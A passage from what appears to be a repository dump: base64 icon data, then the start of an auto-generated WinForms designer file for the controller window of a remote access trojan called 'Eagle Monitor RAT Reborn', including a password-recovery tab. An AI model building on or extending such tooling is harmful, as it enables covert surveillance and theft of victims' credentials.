AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACvew8JrHoS2al5F4GjdyRRoHYr+Zt0M/WX cjlhknA+kY5uQf6KbEP/hmpF9INoRm2AZ0cCAAAAAAAAAAAAAAAAbFtJEWlZSTllVkhZYVNHclxQRX1Y TUNKVEtCCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwew5prXoRaKd4G0Sk dyL2oHYr7Jx0MkyWcTqyk3A+/45uQf+KbEPUh2pELgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACx ew0kq3kUJah4GeykdyLooHYqQZtzM8WXcjr/k3A+/49vQaeMbUIOAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAACvew8ErHoTyal4GOWldyE7oHUszZt0M/+Xcjr8k3E9eZFvQAEAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAACvew5jrXoS56l5FzWkdyPAoHYr/5t0M/aYcjlZAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwew63rnoRMKh4GpukdyL/oHYr85x0MUeZ czYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACyfAwjq3kUUah4Gf6k dyLzoXYpPwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACv ew8CrHoT2qh4Gfeldx9IAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAACvew83rHoS/al5F1+neBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAACvew9KrXoRiqt5FAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACvew8LrnoQBQAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////AAD/////9/8AAP///+eA /wAA////goD/AAD///+AAP8AAP///4AB/wAA////gAP/AAD//+OAB/8AAP/+AIAf/wAA//4AAD//AAD/ wAAAP78AAP/AAAAfjwAA+AAAAB8PAACAAAAAHg8AAAAAAAAADwAAYAAAAAAPAAD4AAAAAA8AAP/wAAAA HwAA//gAAAA/AAD/8AAAAD8AAP/AAAAAAAAA/wAAAAAAAAD8AAAAAAAAAPgAAAAABwAA+fAAAA//AAD/ 8AAAH/8AAP/AAAAf/wAA/4AAAA//AAD/gAAAA/8AAP4AAAAH/wAA/AAAAAf/AAD8AAAAD/8AAPwAAAAf /wAA/AAAAD//AAD4AAAAf/8AAPwAAAH//wAA+AA4D///AAD4AP////8AAPgB/////wAA+AP/////AAD4 D/////8AAPgP/////wAA+D//////AAD4f/////8AAPh//////wAA+P//////AAD5//////8AAP////// /wAAKAAAACAAAABAAAAAAQAgAAAAAAAAEAAAIy4AACMuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAUUhAEwAAAAAAAAAAAAAAADIuLiIvLC0JJyUoIiEgJAogHyMGAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAFpORAZRSEBpSUI8OEA6Nxg4MzIANDAweiooKjYmJCd3ISAkPCAfIz4AAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAABcUEUAWk5EXVFIQLtJQj2fQjw5kTw3NTgzLy/RLCorxCYkJ90hICSHIB8jBAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAFxQRQFZTkTYUUhAykpDPflDPTn/OzY09jMvMMIsKSvBJyQnggAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAg2hGAoBmRwl8ZEgAcV5JImxbSYdnWEgpAAAAAFhNQ9JSSUH/SkM9/0M9Of87NjS+NDAwZC8sLQUA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAkG9ACIxtQg2EaEYnf2ZIkHliSddzX0mLa1pJVGZXSPRhU0dBV0xDcFJJQf9KQz3/Qz05/zs2NOU3 MjILAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAJdyOjGRcD+Ci2xDwYVpRfJ/ZkjGeWJJq3JfSfxsW0nzZldI/mBSRuxaTkQgUUhAzkpDPf9D PTn/OzY0/zUwMJYAAAAAAAAAAAAAAAAAAAAAIB8jIyAfI1EAAAAAAAAAAAAAAAAAAAAAAAAAALZ9BAix fAwyq3kUVqV3IG6fdS1/mHI4iJFwP4qLbEOIhWlFsn9mSP95Ykn/cl9J/2xbSf9mV0j/X1JG/1lORONR SEHNSkM9/0M9Of87NjT/NDAw8wAAAAAAAAAAAAAAAAAAAAAgHyNyIB8j2AAAAAAAAAAAAAAAAMSBADS+ gAB6t30CobJ8DJyreRSapXcgoJ91La+YcjjFkXA/4otsQ/2FaUX/f2ZI/3liSf9yX0n/bFtJ/2ZXSP9f Ukb/WU1E/1JJQf9KQz3/Qz05/zs2NP8zLzD9LSoreSYkJzohICROIB8jjD0uKf4xKCa6AAAAAAAAAAAA AAAAyIIAAAAAAAC2fQQbsXwMe6t5FLSldyDXn3Ut45hyONqScD/Oi2xDyYVpReF/Zkj7eWJJ/3JfSf9s W0n/ZldI/19SRv9ZTUT/UklB/0pDPf9DPTn/OzY0/zMvMP8sKSv/JiQn/yEgJP8gHyP/QzEq/yAfI7EA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKJ2JgCddS8Ml3I5J5FwP0GLbENchWlFeH9mSJl5 YknNcl5J+mxbSf9mV0j/X1JG/1lNRP9SSUH/SkM9/0M9Of87NjT/My8w/ywpK/8mJCf/ISAk/yEgI/8h ICP/IB8jUgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkG9AGotsQ2KF aUWUf2ZIu3liSc9yXknqbFtJ/2ZXSP9fUkb/Wk5E/2lSQf9pUD7/aE08/2ZKOf9aQjX/LCkr/yYkJ/8h ICT/IB8j3iQiJWMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnHQyApdyOUaR cD+Ci2xDmYVpRax/Zki6eWJJxHNfScNsW0ncZ1dI/3RZRf9vVUP/VUpB/0pDPf9DPTn/OzY0/zcxMP8x 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 ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.Designer.cs ================================================ namespace Eagle_Monitor_RAT_Reborn { partial class ClientForm { /// /// Variable nécessaire au concepteur. /// private System.ComponentModel.IContainer components = null; /// /// Nettoyage des ressources utilisées. /// /// true si les ressources managées doivent être supprimées ; sinon, false. protected override void Dispose(bool disposing) { if (disposing && (components != null)) { components.Dispose(); } base.Dispose(disposing); } #region Code généré par le Concepteur Windows Form /// /// Méthode requise pour la prise en charge du concepteur - ne modifiez pas /// le contenu de cette méthode avec l'éditeur de code. /// private void InitializeComponent() { this.components = new System.ComponentModel.Container(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle4 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle5 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle8 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle6 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle7 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle9 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle12 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle10 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle11 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle13 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle16 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle14 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle15 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle17 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle21 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle18 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle19 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle20 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle22 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle25 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle23 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle24 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle26 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle30 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle27 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle28 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle29 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle31 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle33 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle32 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle34 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle36 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle35 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle37 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle39 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle38 = new System.Windows.Forms.DataGridViewCellStyle(); System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ClientForm)); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle40 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle42 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle41 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle43 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle45 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle44 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle46 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle48 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle47 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle49 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle51 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle50 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle52 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle54 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle55 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle58 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle56 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle57 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle59 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle61 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle60 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle62 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle64 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle63 = new System.Windows.Forms.DataGridViewCellStyle(); System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle53 = new System.Windows.Forms.DataGridViewCellStyle(); this.closeGuna2ControlBox = new Guna.UI2.WinForms.Guna2ControlBox(); this.maximizeGuna2ControlBox = new Guna.UI2.WinForms.Guna2ControlBox(); this.minimizeGuna2ControlBox = new Guna.UI2.WinForms.Guna2ControlBox(); this.clientLabel = new System.Windows.Forms.Label(); this.mainGuna2TabControl = new Guna.UI2.WinForms.Guna2TabControl(); this.tabPage1 = new System.Windows.Forms.TabPage(); this.recoveryGuna2TabControl = new Guna.UI2.WinForms.Guna2TabControl(); this.tabPage3 = new System.Windows.Forms.TabPage(); this.passwordsDataGridView = new 